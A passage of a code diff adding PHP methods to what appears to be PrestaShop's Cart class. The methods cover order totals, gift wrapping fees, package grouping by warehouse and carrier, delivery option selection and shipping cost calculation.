((int)$address_id ? (int)$address_id : null), + $null, + true, + true, + $virtual_context + ); + + $total_price = Tools::ps_round($price * (int)$product['cart_quantity'], 2); + } + $order_total += $total_price; + } + + $order_total_products = $order_total; + + if ($type == Cart::ONLY_DISCOUNTS) + $order_total = 0; + + // Wrapping Fees + $wrapping_fees = 0; + if ($this->gift) + $wrapping_fees = Tools::convertPrice(Tools::ps_round($this->getGiftWrappingPrice($with_taxes), 2), Currency::getCurrencyInstance((int)$this->id_currency)); + if ($type == Cart::ONLY_WRAPPING) + return $wrapping_fees; + + $order_total_discount = 0; + if (!in_array($type, array(Cart::ONLY_SHIPPING, Cart::ONLY_PRODUCTS)) && CartRule::isFeatureActive()) + { + // First, retrieve the cart rules associated to this "getOrderTotal" + if ($with_shipping || $type == Cart::ONLY_DISCOUNTS) + $cart_rules = $this->getCartRules(CartRule::FILTER_ACTION_ALL); + else + { + $cart_rules = $this->getCartRules(CartRule::FILTER_ACTION_REDUCTION); + // Cart Rules array are merged manually in order to avoid doubles + foreach ($this->getCartRules(CartRule::FILTER_ACTION_GIFT) as $tmp_cart_rule) + { + $flag = false; + foreach ($cart_rules as $cart_rule) + if ($tmp_cart_rule['id_cart_rule'] == $cart_rule['id_cart_rule']) + $flag = true; + if (!$flag) + $cart_rules[] = $tmp_cart_rule; + } + } + + $id_address_delivery = 0; + if (isset($products[0])) + $id_address_delivery = (is_null($products) ? $this->id_address_delivery : $products[0]['id_address_delivery']); + $package = array('id_carrier' => $id_carrier, 'id_address' => $id_address_delivery, 'products' => $products); + + // Then, calculate the contextual value for each one + foreach ($cart_rules as $cart_rule) + { + // If the cart rule offers free shipping, add the shipping cost + if (($with_shipping || $type == Cart::ONLY_DISCOUNTS) && $cart_rule['obj']->free_shipping) + $order_total_discount += Tools::ps_round($cart_rule['obj']->getContextualValue($with_taxes, $virtual_context, CartRule::FILTER_ACTION_SHIPPING, ($param_product ? $package : null), $use_cache), 2); + + // If the cart rule is a free gift, then add the free gift value only if the gift is in this package + if ((int)$cart_rule['obj']->gift_product) + { + $in_order = false; + if (is_null($products)) + $in_order = true; + else + foreach ($products as $product) + if ($cart_rule['obj']->gift_product == $product['id_product'] && $cart_rule['obj']->gift_product_attribute == $product['id_product_attribute']) + $in_order = true; + + if ($in_order) + $order_total_discount += $cart_rule['obj']->getContextualValue($with_taxes, $virtual_context, CartRule::FILTER_ACTION_GIFT, $package, $use_cache); + } + + // If the cart rule offers a reduction, the amount is prorated (with the products in the package) + if ($cart_rule['obj']->reduction_percent > 0 || $cart_rule['obj']->reduction_amount > 0) + $order_total_discount += Tools::ps_round($cart_rule['obj']->getContextualValue($with_taxes, $virtual_context, CartRule::FILTER_ACTION_REDUCTION, $package, $use_cache), 2); + } + $order_total_discount = min(Tools::ps_round($order_total_discount, 2), $wrapping_fees + $order_total_products + $shipping_fees); + $order_total -= $order_total_discount; + } + + if ($type == Cart::BOTH) + $order_total += $shipping_fees + $wrapping_fees; + + if ($order_total < 0 && $type != Cart::ONLY_DISCOUNTS) + return 0; + + if ($type == Cart::ONLY_DISCOUNTS) + return $order_total_discount; + + return Tools::ps_round((float)$order_total, 2); + } + + /** + * Get the gift wrapping price + * @param boolean $with_taxes With or without taxes + * @return gift wrapping price + */ + public function getGiftWrappingPrice($with_taxes = true, $id_address = null) + { + static $address = null; + + if ($id_address === null) + $id_address = (int)$this->{Configuration::get('PS_TAX_ADDRESS_TYPE')}; + + if ($address === null) + $address = Address::initialize($id_address); + + $wrapping_fees = (float)Configuration::get('PS_GIFT_WRAPPING_PRICE'); + if ($with_taxes && $wrapping_fees > 0) + { + $tax_manager = TaxManagerFactory::getManager($address, (int)Configuration::get('PS_GIFT_WRAPPING_TAX_RULES_GROUP')); + $tax_calculator = $tax_manager->getTaxCalculator(); + $wrapping_fees = $tax_calculator->addTaxes($wrapping_fees); + } + + return $wrapping_fees; + } + + /** + * Get the number of packages + * + * @return int number of packages + */ + public function getNbOfPackages() + { + static $nb_packages = 0; + + if (!$nb_packages) + foreach ($this->getPackageList() as $by_address) + $nb_packages += count($by_address); + + return $nb_packages; + } + + /** + * Get products grouped by package and by addresses to be sent individualy (one package = one shipping cost). + * + * @return array array( + * 0 => array( // First address + * 0 => array( // First package + * 'product_list' => array(...), + * 'carrier_list' => array(...), + * 'id_warehouse' => array(...), + * ), + * ), + * ); + * @todo Add avaibility check + */ + public function getPackageList($flush = false) + { + static $cache = array(); + if (isset($cache[(int)$this->id]) && $cache[(int)$this->id] !== false && !$flush) + return $cache[(int)$this->id]; + + $product_list = $this->getProducts(); + // Step 1 : Get product informations (warehouse_list and carrier_list), count warehouse + // Determine the best warehouse to determine the packages + // For that we count the number of time we can use a warehouse for a specific delivery address + $warehouse_count_by_address = array(); + $warehouse_carrier_list = array(); + + $stock_management_active = Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT'); + + foreach ($product_list as &$product) + { + if ((int)$product['id_address_delivery'] == 0) + $product['id_address_delivery'] = (int)$this->id_address_delivery; + + if (!isset($warehouse_count_by_address[$product['id_address_delivery']])) + $warehouse_count_by_address[$product['id_address_delivery']] = array(); + + $product['warehouse_list'] = array(); + + if ($stock_management_active && + ((int)$product['advanced_stock_management'] == 1 || Pack::usesAdvancedStockManagement((int)$product['id_product']))) + { + $warehouse_list = Warehouse::getProductWarehouseList($product['id_product'], $product['id_product_attribute'], $this->id_shop); + if (count($warehouse_list) == 0) + $warehouse_list = Warehouse::getProductWarehouseList($product['id_product'], $product['id_product_attribute']); + // Does the product is in stock ? + // If yes, get only warehouse where the product is in stock + + $warehouse_in_stock = array(); + $manager = StockManagerFactory::getManager(); + + foreach ($warehouse_list as $key => $warehouse) + { + $product_real_quantities = $manager->getProductRealQuantities( + $product['id_product'], + $product['id_product_attribute'], + array($warehouse['id_warehouse']), + true + ); + + if ($product_real_quantities > 0 || Pack::isPack((int)$product['id_product'])) + $warehouse_in_stock[] = $warehouse; + } + + if (!empty($warehouse_in_stock)) + { + $warehouse_list = $warehouse_in_stock; + $product['in_stock'] = true; + } + else + $product['in_stock'] = false; + } + else + { + //simulate default warehouse + $warehouse_list = array(0); + $product['in_stock'] = StockAvailable::getQuantityAvailableByProduct($product['id_product'], $product['id_product_attribute']) > 0; + } + + foreach ($warehouse_list as $warehouse) + { + if (!isset($warehouse_carrier_list[$warehouse['id_warehouse']])) + { + $warehouse_object = new Warehouse($warehouse['id_warehouse']); + $warehouse_carrier_list[$warehouse['id_warehouse']] = $warehouse_object->getCarriers(); + } + + $product['warehouse_list'][] = $warehouse['id_warehouse']; + if (!isset($warehouse_count_by_address[$product['id_address_delivery']][$warehouse['id_warehouse']])) + $warehouse_count_by_address[$product['id_address_delivery']][$warehouse['id_warehouse']] = 0; + + $warehouse_count_by_address[$product['id_address_delivery']][$warehouse['id_warehouse']]++; + } + } + + arsort($warehouse_count_by_address); + + // Step 2 : Group product by warehouse + $grouped_by_warehouse = array(); + foreach ($product_list as &$product) + { + if (!isset($grouped_by_warehouse[$product['id_address_delivery']])) + $grouped_by_warehouse[$product['id_address_delivery']] = array( + 'in_stock' => array(), + 'out_of_stock' => array(), + ); + + $product['carrier_list'] = array(); + $id_warehouse = 0; + foreach ($warehouse_count_by_address[$product['id_address_delivery']] as $id_war => $val) + { + $product['carrier_list'] = array_merge($product['carrier_list'], Carrier::getAvailableCarrierList(new Product($product['id_product']), $id_war, $product['id_address_delivery'], null, $this)); + if (in_array((int)$id_war, $product['warehouse_list']) && $id_warehouse == 0) + $id_warehouse = (int)$id_war; + } + + if (!isset($grouped_by_warehouse[$product['id_address_delivery']]['in_stock'][$id_warehouse])) + { + $grouped_by_warehouse[$product['id_address_delivery']]['in_stock'][$id_warehouse] = array(); + $grouped_by_warehouse[$product['id_address_delivery']]['out_of_stock'][$id_warehouse] = array(); + } + + if (!$this->allow_seperated_package) + $key = 'in_stock'; + else + $key = $product['in_stock'] ? 'in_stock' : 'out_of_stock'; + + if (empty($product['carrier_list'])) + $product['carrier_list'] = array(0); + + $grouped_by_warehouse[$product['id_address_delivery']][$key][$id_warehouse][] = $product; + } + + // Step 3 : grouped product from grouped_by_warehouse by available carriers + $grouped_by_carriers = array(); + foreach ($grouped_by_warehouse as $id_address_delivery => $products_in_stock_list) + { + if (!isset($grouped_by_carriers[$id_address_delivery])) + $grouped_by_carriers[$id_address_delivery] = array( + 'in_stock' => array(), + 'out_of_stock' => array(), + ); + foreach ($products_in_stock_list as $key => $warehouse_list) + { + if (!isset($grouped_by_carriers[$id_address_delivery][$key])) + $grouped_by_carriers[$id_address_delivery][$key] = array(); + foreach ($warehouse_list as $id_warehouse => $product_list) + { + if (!isset($grouped_by_carriers[$id_address_delivery][$key][$id_warehouse])) + $grouped_by_carriers[$id_address_delivery][$key][$id_warehouse] = array(); + + foreach ($product_list as $product) + { + $package_carriers_key = implode(',', $product['carrier_list']); + + if (!isset($grouped_by_carriers[$id_address_delivery][$key][$id_warehouse][$package_carriers_key])) + $grouped_by_carriers[$id_address_delivery][$key][$id_warehouse][$package_carriers_key] = array( + 'product_list' => array(), + 'carrier_list' => $product['carrier_list'], + 'warehouse_list' => $product['warehouse_list'] + ); + + $grouped_by_carriers[$id_address_delivery][$key][$id_warehouse][$package_carriers_key]['product_list'][] = $product; + } + } + } + } + + $package_list = array(); + // Step 4 : merge product from grouped_by_carriers into $package to minimize the number of package + foreach ($grouped_by_carriers as $id_address_delivery => $products_in_stock_list) + { + if (!isset($package_list[$id_address_delivery])) + $package_list[$id_address_delivery] = array( + 'in_stock' => array(), + 'out_of_stock' => array(), + ); + + foreach ($products_in_stock_list as $key => $warehouse_list) + { + if (!isset($package_list[$id_address_delivery][$key])) + $package_list[$id_address_delivery][$key] = array(); + // Count occurance of each carriers to minimize the number of packages + $carrier_count = array(); + foreach ($warehouse_list as $id_warehouse => $products_grouped_by_carriers) + { + foreach ($products_grouped_by_carriers as $data) + { + foreach ($data['carrier_list'] as $id_carrier) + { + if (!isset($carrier_count[$id_carrier])) + $carrier_count[$id_carrier] = 0; + $carrier_count[$id_carrier]++; + } + } + } + arsort($carrier_count); + foreach ($warehouse_list as $id_warehouse => $products_grouped_by_carriers) + { + if (!isset($package_list[$id_address_delivery][$key][$id_warehouse])) + $package_list[$id_address_delivery][$key][$id_warehouse] = array(); + foreach ($products_grouped_by_carriers as $data) + { + foreach ($carrier_count as $id_carrier => $rate) + { + if (in_array($id_carrier, $data['carrier_list'])) + { + if (!isset($package_list[$id_address_delivery][$key][$id_warehouse][$id_carrier])) + $package_list[$id_address_delivery][$key][$id_warehouse][$id_carrier] = array( + 'carrier_list' => $data['carrier_list'], + 'warehouse_list' => $data['warehouse_list'], + 'product_list' => array(), + ); + $package_list[$id_address_delivery][$key][$id_warehouse][$id_carrier]['carrier_list'] = + array_intersect($package_list[$id_address_delivery][$key][$id_warehouse][$id_carrier]['carrier_list'], $data['carrier_list']); + + $package_list[$id_address_delivery][$key][$id_warehouse][$id_carrier]['product_list'] = + array_merge($package_list[$id_address_delivery][$key][$id_warehouse][$id_carrier]['product_list'], $data['product_list']); + + break; + } + } + } + } + } + } + + // Step 5 : Reduce depth of $package_list + $final_package_list = array(); + foreach ($package_list as $id_address_delivery => $products_in_stock_list) + { + if (!isset($final_package_list[$id_address_delivery])) + $final_package_list[$id_address_delivery] = array(); + + foreach ($products_in_stock_list as $key => $warehouse_list) + foreach ($warehouse_list as $id_warehouse => $products_grouped_by_carriers) + foreach ($products_grouped_by_carriers as $data) + { + $final_package_list[$id_address_delivery][] = array( + 'product_list' => $data['product_list'], + 'carrier_list' => $data['carrier_list'], + 'warehouse_list' => $data['warehouse_list'], + 'id_warehouse' => $id_warehouse, + ); + } + } + $cache[(int)$this->id] = $final_package_list; + return $final_package_list; + } + + public function getPackageIdWarehouse($package, $id_carrier = null) + { + if ($id_carrier === null) + if (isset($package['id_carrier'])) + $id_carrier = (int)$package['id_carrier']; + + if ($id_carrier == null) + return $package['id_warehouse']; + + foreach ($package['warehouse_list'] as $id_warehouse) + { + $warehouse = new Warehouse((int)$id_warehouse); + $available_warehouse_carriers = $warehouse->getCarriers(); + if (in_array($id_carrier, $available_warehouse_carriers)) + return (int)$id_warehouse; + } + return 0; + } + + /** + * Get all deliveries options available for the current cart + * @param Country $default_country + * @param boolean $flush Force flushing cache + * + * @return array array( + * 0 => array( // First address + * '12,' => array( // First delivery option available for this address + * carrier_list => array( + * 12 => array( // First carrier for this option + * 'instance' => Carrier Object, + * 'logo' => , + * 'price_with_tax' => 12.4, + * 'price_without_tax' => 12.4, + * 'package_list' => array( + * 1, + * 3, + * ), + * ), + * ), + * is_best_grade => true, // Does this option have the biggest grade (quick shipping) for this shipping address + * is_best_price => true, // Does this option have the lower price for this shipping address + * unique_carrier => true, // Does this option use a unique carrier + * total_price_with_tax => 12.5, + * total_price_without_tax => 12.5, + * position => 5, // Average of the carrier position + * ), + * ), + * ); + * If there are no carriers available for an address, return an empty array + */ + public function getDeliveryOptionList(Country $default_country = null, $flush = false) + { + static $cache = null; + if ($cache !== null && !$flush) + return $cache; + + $delivery_option_list = array(); + $carriers_price = array(); + $carrier_collection = array(); + $package_list = $this->getPackageList(); + + // Foreach addresses + foreach ($package_list as $id_address => $packages) + { + // Initialize vars + $delivery_option_list[$id_address] = array(); + $carriers_price[$id_address] = array(); + $common_carriers = null; + $best_price_carriers = array(); + $best_grade_carriers = array(); + $carriers_instance = array(); + + // Get country + if ($id_address) + { + $address = new Address($id_address); + $country = new Country($address->id_country); + } + else + $country = $default_country; + + // Foreach packages, get the carriers with best price, best position and best grade + foreach ($packages as $id_package => $package) + { + // No carriers available + if (count($package['carrier_list']) == 1 && current($package['carrier_list']) == 0) + { + $cache = array(); + return $cache; + } + + $carriers_price[$id_address][$id_package] = array(); + + // Get all common carriers for each packages to the same address + if (is_null($common_carriers)) + $common_carriers = $package['carrier_list']; + else + $common_carriers = array_intersect($common_carriers, $package['carrier_list']); + + $best_price = null; + $best_price_carrier = null; + $best_grade = null; + $best_grade_carrier = null; + + // Foreach carriers of the package, calculate his price, check if it the best price, position and grade + foreach ($package['carrier_list'] as $id_carrier) + { + if (!isset($carriers_instance[$id_carrier])) + $carriers_instance[$id_carrier] = new Carrier($id_carrier); + + $price_with_tax = $this->getPackageShippingCost($id_carrier, true, $country, $package['product_list']); + $price_without_tax = $this->getPackageShippingCost($id_carrier, false, $country, $package['product_list']); + if (is_null($best_price) || $price_with_tax < $best_price) + { + $best_price = $price_with_tax; + $best_price_carrier = $id_carrier; + } + $carriers_price[$id_address][$id_package][$id_carrier] = array( + 'without_tax' => $price_without_tax, + 'with_tax' => $price_with_tax); + + $grade = $carriers_instance[$id_carrier]->grade; + if (is_null($best_grade) || $grade > $best_grade) + { + $best_grade = $grade; + $best_grade_carrier = $id_carrier; + } + } + + $best_price_carriers[$id_package] = $best_price_carrier; + $best_grade_carriers[$id_package] = $best_grade_carrier; + } + + // Reset $best_price_carrier, it's now an array + $best_price_carrier = array(); + $key = ''; + + // Get the delivery option with the lower price + foreach ($best_price_carriers as $id_package => $id_carrier) + { + $key .= $id_carrier.','; + if (!isset($best_price_carrier[$id_carrier])) + $best_price_carrier[$id_carrier] = array( + 'price_with_tax' => 0, + 'price_without_tax' => 0, + 'package_list' => array(), + 'product_list' => array(), + ); + $best_price_carrier[$id_carrier]['price_with_tax'] += $carriers_price[$id_address][$id_package][$id_carrier]['with_tax']; + $best_price_carrier[$id_carrier]['price_without_tax'] += $carriers_price[$id_address][$id_package][$id_carrier]['without_tax']; + $best_price_carrier[$id_carrier]['package_list'][] = $id_package; + $best_price_carrier[$id_carrier]['product_list'] = array_merge($best_price_carrier[$id_carrier]['product_list'], $packages[$id_package]['product_list']); + $best_price_carrier[$id_carrier]['instance'] = $carriers_instance[$id_carrier]; + } + + // Add the delivery option with best price as best price + $delivery_option_list[$id_address][$key] = array( + 'carrier_list' => $best_price_carrier, + 'is_best_price' => true, + 'is_best_grade' => false, + 'unique_carrier' => (count($best_price_carrier) <= 1) + ); + + // Reset $best_grade_carrier, it's now an array + $best_grade_carrier = array(); + $key = ''; + + // Get the delivery option with the best grade + foreach ($best_grade_carriers as $id_package => $id_carrier) + { + $key .= $id_carrier.','; + if (!isset($best_grade_carrier[$id_carrier])) + $best_grade_carrier[$id_carrier] = array( + 'price_with_tax' => 0, + 'price_without_tax' => 0, + 'package_list' => array(), + 'product_list' => array(), + ); + $best_grade_carrier[$id_carrier]['price_with_tax'] += $carriers_price[$id_address][$id_package][$id_carrier]['with_tax']; + $best_grade_carrier[$id_carrier]['price_without_tax'] += $carriers_price[$id_address][$id_package][$id_carrier]['without_tax']; + $best_grade_carrier[$id_carrier]['package_list'][] = $id_package; + $best_grade_carrier[$id_carrier]['product_list'] = array_merge($best_grade_carrier[$id_carrier]['product_list'], $packages[$id_package]['product_list']); + $best_grade_carrier[$id_carrier]['instance'] = $carriers_instance[$id_carrier]; + } + + // Add the delivery option with best grade as best grade + if (!isset($delivery_option_list[$id_address][$key])) + $delivery_option_list[$id_address][$key] = array( + 'carrier_list' => $best_grade_carrier, + 'is_best_price' => false, + 'unique_carrier' => (count($best_grade_carrier) <= 1) + ); + $delivery_option_list[$id_address][$key]['is_best_grade'] = true; + + // Get all delivery options with a unique carrier + foreach ($common_carriers as $id_carrier) + { + $price = 0; + $key = ''; + $package_list = array(); + $product_list = array(); + $total_price_with_tax = 0; + $total_price_without_tax = 0; + $price_with_tax = 0; + $price_without_tax = 0; + + foreach ($packages as $id_package => $package) + { + $key .= $id_carrier.','; + $price_with_tax += $carriers_price[$id_address][$id_package][$id_carrier]['with_tax']; + $price_without_tax += $carriers_price[$id_address][$id_package][$id_carrier]['without_tax']; + $package_list[] = $id_package; + $product_list = array_merge($product_list, $package['product_list']); + } + + if (!isset($delivery_option_list[$id_address][$key])) + $delivery_option_list[$id_address][$key] = array( + 'is_best_price' => false, + 'is_best_grade' => false, + 'unique_carrier' => true, + 'carrier_list' => array( + $id_carrier => array( + 'price_with_tax' => $price_with_tax, + 'price_without_tax' => $price_without_tax, + 'instance' => $carriers_instance[$id_carrier], + 'package_list' => $package_list, + 'product_list' => $product_list, + ) + ) + ); + else + $delivery_option_list[$id_address][$key]['unique_carrier'] = (count($delivery_option_list[$id_address][$key]['carrier_list']) <= 1); + } + } + + // For each delivery options : + // - Set the carrier list + // - Calculate the price + // - Calculate the average position + foreach ($delivery_option_list as $id_address => $delivery_option) + foreach ($delivery_option as $key => $value) + { + $total_price_with_tax = 0; + $total_price_without_tax = 0; + $position = 0; + foreach ($value['carrier_list'] as $id_carrier => $data) + { + $total_price_with_tax += $data['price_with_tax']; + $total_price_without_tax += $data['price_without_tax']; + + if (!isset($carrier_collection[$id_carrier])) + $carrier_collection[$id_carrier] = new Carrier($id_carrier); + $delivery_option_list[$id_address][$key]['carrier_list'][$id_carrier]['instance'] = $carrier_collection[$id_carrier]; + + if (file_exists(_PS_SHIP_IMG_DIR_.$id_carrier.'.jpg')) + $delivery_option_list[$id_address][$key]['carrier_list'][$id_carrier]['logo'] = _THEME_SHIP_DIR_.$id_carrier.'.jpg'; + else + $delivery_option_list[$id_address][$key]['carrier_list'][$id_carrier]['logo'] = false; + + $position += $carrier_collection[$id_carrier]->position; + } + $delivery_option_list[$id_address][$key]['total_price_with_tax'] = $total_price_with_tax; + $delivery_option_list[$id_address][$key]['total_price_without_tax'] = $total_price_without_tax; + $delivery_option_list[$id_address][$key]['position'] = $position / count($value['carrier_list']); + } + + // Sort delivery option list + foreach ($delivery_option_list as &$array) + uasort ($array, array('Cart', 'sortDeliveryOptionList')); + + $cache = $delivery_option_list; + return $delivery_option_list; + } + + /** + * + * Sort list of option delivery by parameters define in the BO + * @param $option1 + * @param $option2 + * @return int -1 if $option 1 must be placed before and 1 if the $option1 must be placed after the $option2 + */ + public static function sortDeliveryOptionList($option1, $option2) + { + static $order_by_price = null; + static $order_way = null; + if (is_null($order_by_price)) + $order_by_price = !Configuration::get('PS_CARRIER_DEFAULT_SORT'); + if (is_null($order_way)) + $order_way = Configuration::get('PS_CARRIER_DEFAULT_ORDER'); + + if ($order_by_price) + if ($order_way) + return ($option1['total_price_with_tax'] < $option2['total_price_with_tax']) * 2 - 1; // return -1 or 1 + else + return ($option1['total_price_with_tax'] >= $option2['total_price_with_tax']) * 2 - 1; // return -1 or 1 + else + if ($order_way) + return ($option1['position'] < $option2['position']) * 2 - 1; // return -1 or 1 + else + return ($option1['position'] >= $option2['position']) * 2 - 1; // return -1 or 1 + } + + public function carrierIsSelected($id_carrier, $id_address) + { + $delivery_option = $this->getDeliveryOption(); + $delivery_option_list = $this->getDeliveryOptionList(); + + if (!isset($delivery_option[$id_address])) + return false; + + if (!isset($delivery_option_list[$id_address][$delivery_option[$id_address]])) + return false; + + if (!in_array($id_carrier, array_keys($delivery_option_list[$id_address][$delivery_option[$id_address]]['carrier_list']))) + return false; + + return true; + } + + /** + * Get all deliveries options available for the current cart formated like Carriers::getCarriersForOrder + * This method was wrote for retrocompatibility with 1.4 theme + * New theme need to use Cart::getDeliveryOptionList() to generate carriers option in the checkout process + * + * @since 1.5.0 + * + * @param Country $default_country + * @param boolean $flush Force flushing cache + * + */ + public function simulateCarriersOutput(Country $default_country = null, $flush = false) + { + static $cache = false; + if ($cache !== false && !$flush) + return $cache; + + $delivery_option_list = $this->getDeliveryOptionList($default_country, $flush); + + // This method cannot work if there is multiple address delivery + if (count($delivery_option_list) > 1 || empty($delivery_option_list)) + return array(); + + $carriers = array(); + foreach (reset($delivery_option_list) as $key => $option) + { + $price = $option['total_price_with_tax']; + $price_tax_exc = $option['total_price_without_tax']; + + if ($option['unique_carrier']) + { + $carrier = reset($option['carrier_list']); + $name = $carrier['instance']->name; + $img = $carrier['logo']; + $delay = $carrier['instance']->delay; + $delay = isset($delay[Context::getContext()->language->id]) ? $delay[Context::getContext()->language->id] : $delay[(int)Configuration::get('PS_LANG_DEFAULT')]; + } + else + { + $nameList = array(); + foreach ($option['carrier_list'] as $carrier) + $nameList[] = $carrier['instance']->name; + $name = join(' -', $nameList); + $img = ''; // No images if multiple carriers + $delay = ''; + } + $carriers[] = array( + 'name' => $name, + 'img' => $img, + 'delay' => $delay, + 'price' => $price, + 'price_tax_exc' => $price_tax_exc, + 'id_carrier' => Cart::intifier($key), // Need to translate to an integer for retrocompatibility reason, in 1.4 template we used intval + 'is_module' => false, + ); + } + return $carriers; + } + + public function simulateCarrierSelectedOutput() + { + $delivery_option = $this->getDeliveryOption(); + + if (count($delivery_option) > 1 || empty($delivery_option)) + return 0; + + return Cart::intifier(reset($delivery_option)); + } + + /** + * Translate a string option_delivery identifier ('24,3,') in a int (3240002000) + * + * The option_delivery identifier is a list of integers separated by a ','. + * This method replace the delimiter by a sequence of '0'. + * The size of this sequence is fixed by the first digit of the return + * + * @return int + */ + public static function intifier($string, $delimiter = ',') + { + $elm = explode($delimiter, $string); + $max = max($elm); + return strlen($max).implode(str_repeat('0', strlen($max) + 1), $elm); + } + + /** + * Translate a int option_delivery identifier (3240002000) in a string ('24,3,') + */ + public static function desintifier($int, $delimiter = ',') + { + $delimiter_len = $int[0]; + $int = strrev(substr($int, 1)); + $elm = explode(str_repeat('0', $delimiter_len + 1), $int); + return strrev(implode($delimiter, $elm)); + } + + /** + * Does the cart use multiple address + * @return boolean + */ + public function isMultiAddressDelivery() + { + static $cache = null; + + if (is_null($cache)) + { + $sql = new DbQuery(); + $sql->select('count(distinct id_address_delivery)'); + $sql->from('cart_product', 'cp'); + $sql->where('id_cart = '.(int)$this->id); + + $cache = Db::getInstance()->getValue($sql) > 1; + } + return $cache; + } + + /** + * Get all delivery addresses object for the current cart + */ + public function getAddressCollection() + { + $collection = array(); + $result = Db::getInstance()->executeS( + 'SELECT DISTINCT `id_address_delivery` + FROM `'._DB_PREFIX_.'cart_product` + WHERE id_cart = '.(int)$this->id + ); + + $result[] = array('id_address_delivery' => (int)$this->id_address_delivery); + + foreach ($result as $row) + if ((int)$row['id_address_delivery'] != 0) + $collection[(int)$row['id_address_delivery']] = new Address((int)$row['id_address_delivery']); + + return $collection; + } + + /** + * Set the delivery option and id_carrier, if there is only one carrier + */ + public function setDeliveryOption($delivery_option = null) + { + if (empty($delivery_option) || count($delivery_option) == 0) + { + $this->delivery_option = ''; + $this->id_carrier = 0; + return; + } + Cache::clean('getContextualValue_*'); + $delivery_option_list = $this->getDeliveryOptionList(null, true); + + foreach ($delivery_option_list as $id_address => $options) + if (!isset($delivery_option[$id_address])) + foreach ($options as $key => $option) + if ($option['is_best_price']) + { + $delivery_option[$id_address] = $key; + break; + } + + if (count($delivery_option) == 1) + $this->id_carrier = $this->getIdCarrierFromDeliveryOption($delivery_option); + + $this->delivery_option = serialize($delivery_option); + } + + protected function getIdCarrierFromDeliveryOption($delivery_option) + { + $delivery_option_list = $this->getDeliveryOptionList(); + foreach ($delivery_option as $key => $value) + if (isset($delivery_option_list[$key]) && isset($delivery_option_list[$key][$value])) + if (count($delivery_option_list[$key][$value]['carrier_list']) == 1) + return current(array_keys($delivery_option_list[$key][$value]['carrier_list'])); + + return 0; + } + + /** + * Get the delivery option seleted, or if no delivery option was selected, the cheapest option for each address + * @return array delivery option + */ + public function getDeliveryOption($default_country = null, $dontAutoSelectOptions = false, $use_cache = true) + { + static $cache = array(); + $cache_id = (int)(is_object($default_country) ? $default_country->id : 0).'-'.(int)$dontAutoSelectOptions; + if (isset($cache[$cache_id]) && $use_cache) + return $cache[$cache_id]; + + $delivery_option_list = $this->getDeliveryOptionList($default_country); + + // The delivery option was selected + if (isset($this->delivery_option) && $this->delivery_option != '') + { + $delivery_option = Tools::unSerialize($this->delivery_option); + $validated = true; + foreach ($delivery_option as $id_address => $key) + if (!isset($delivery_option_list[$id_address][$key])) + { + $validated = false; + break; + } + + if ($validated) + { + $cache[$cache_id] = $delivery_option; + return $delivery_option; + } + } + + if ($dontAutoSelectOptions) + return false; + + // No delivery option selected or delivery option selected is not valid, get the better for all options + $delivery_option = array(); + foreach ($delivery_option_list as $id_address => $options) + { + foreach ($options as $key => $option) + if (Configuration::get('PS_CARRIER_DEFAULT') == -1 && $option['is_best_price']) + { + $delivery_option[$id_address] = $key; + break; + } + elseif (Configuration::get('PS_CARRIER_DEFAULT') == -2 && $option['is_best_grade']) + { + $delivery_option[$id_address] = $key; + break; + } + elseif ($option['unique_carrier'] && in_array(Configuration::get('PS_CARRIER_DEFAULT'), array_keys($option['carrier_list']))) + { + $delivery_option[$id_address] = $key; + break; + } + + reset($options); + if (!isset($delivery_option[$id_address])) + $delivery_option[$id_address] = key($options); + } + + $cache[$cache_id] = $delivery_option; + + return $delivery_option; + } + + /** + * Return shipping total for the cart + * + * @param array $delivery_option Array of the delivery option for each address + * @param booleal $use_tax + * @param Country $default_country + * @return float Shipping total + */ + public function getTotalShippingCost($delivery_option = null, $use_tax = true, Country $default_country = null) + { + if(isset(Context::getContext()->cookie->id_country)) + $default_country = new Country(Context::getContext()->cookie->id_country); + if (is_null($delivery_option)) + $delivery_option = $this->getDeliveryOption($default_country, false, false); + + $total_shipping = 0; + $delivery_option_list = $this->getDeliveryOptionList($default_country); + foreach ($delivery_option as $id_address => $key) + { + if (!isset($delivery_option_list[$id_address]) || !isset($delivery_option_list[$id_address][$key])) + continue; + if ($use_tax) + $total_shipping += $delivery_option_list[$id_address][$key]['total_price_with_tax']; + else + $total_shipping += $delivery_option_list[$id_address][$key]['total_price_without_tax']; + } + + return $total_shipping; + } + /** + * Return shipping total of a specific carriers for the cart + * + * @param int $id_carrier + * @param array $delivery_option Array of the delivery option for each address + * @param booleal $useTax + * @param Country $default_country + * @return float Shipping total + */ + public function getCarrierCost($id_carrier, $useTax = true, Country $default_country = null, $delivery_option = null) + { + if (is_null($delivery_option)) + $delivery_option = $this->getDeliveryOption($default_country); + + $total_shipping = 0; + $delivery_option_list = $this->getDeliveryOptionList(); + + + foreach ($delivery_option as $id_address => $key) + { + if (!isset($delivery_option_list[$id_address]) || !isset($delivery_option_list[$id_address][$key])) + continue; + if (isset($delivery_option_list[$id_address][$key]['carrier_list'][$id_carrier])) + { + if ($useTax) + $total_shipping += $delivery_option_list[$id_address][$key]['carrier_list'][$id_carrier]['price_with_tax']; + else + $total_shipping += $delivery_option_list[$id_address][$key]['carrier_list'][$id_carrier]['price_without_tax']; + } + } + + return $total_shipping; + } + + + /** + * @deprecated 1.5.0, use Cart->getPackageShippingCost() + */ + public function getOrderShippingCost($id_carrier = null, $use_tax = true, Country $default_country = null, $product_list = null) + { + Tools::displayAsDeprecated(); + return $this->getPackageShippingCost($id_carrier, $use_tax, $default_country, $product_list); + } + + /** + * Return package shipping cost + * + * @param integer $id_carrier Carrier ID (default : current carrier) + * @param booleal $use_tax + * @param Country $default_country + * @param Array $product_list + * @param array $product_list List of product concerned by the shipping. If null, all the product of the cart are used to calculate the shipping cost + * + * @return float Shipping total + */ + public function getPackageShippingCost($id_carrier = null, $use_tax = true, Country $default_country = null, $product_list = null, $id_zone = null) + { + if ($this->isVirtualCart()) + return 0; + + if (!$default_country) + $default_country = Context::getContext()->country; + + $complete_product_list = $this->getProducts(); + if (is_null($product_list)) + $products = $complete_product_list; + else + $products = $product_list; + + if (Configuration::get('PS_TAX_ADDRESS_TYPE') == 'id_address_invoice') + $address_id = (int)$this->id_address_invoice; + elseif (count($product_list)) + { + $prod = current($product_list); + $address_id = (int)$prod['id_address_delivery']; + } + else + $address_id = null; + if (!Address::addressExists($address_id)) + $address_id = null; + + $cache_id = 'getPackageShippingCost_'.(int)$this->id.'_'.(int)$address_id.'_'.(int)$id_carrier.'_'.(int)$use_tax.'_'.(int)$default_country->id; + if ($products) + foreach ($products as $product) + $cache_id .= 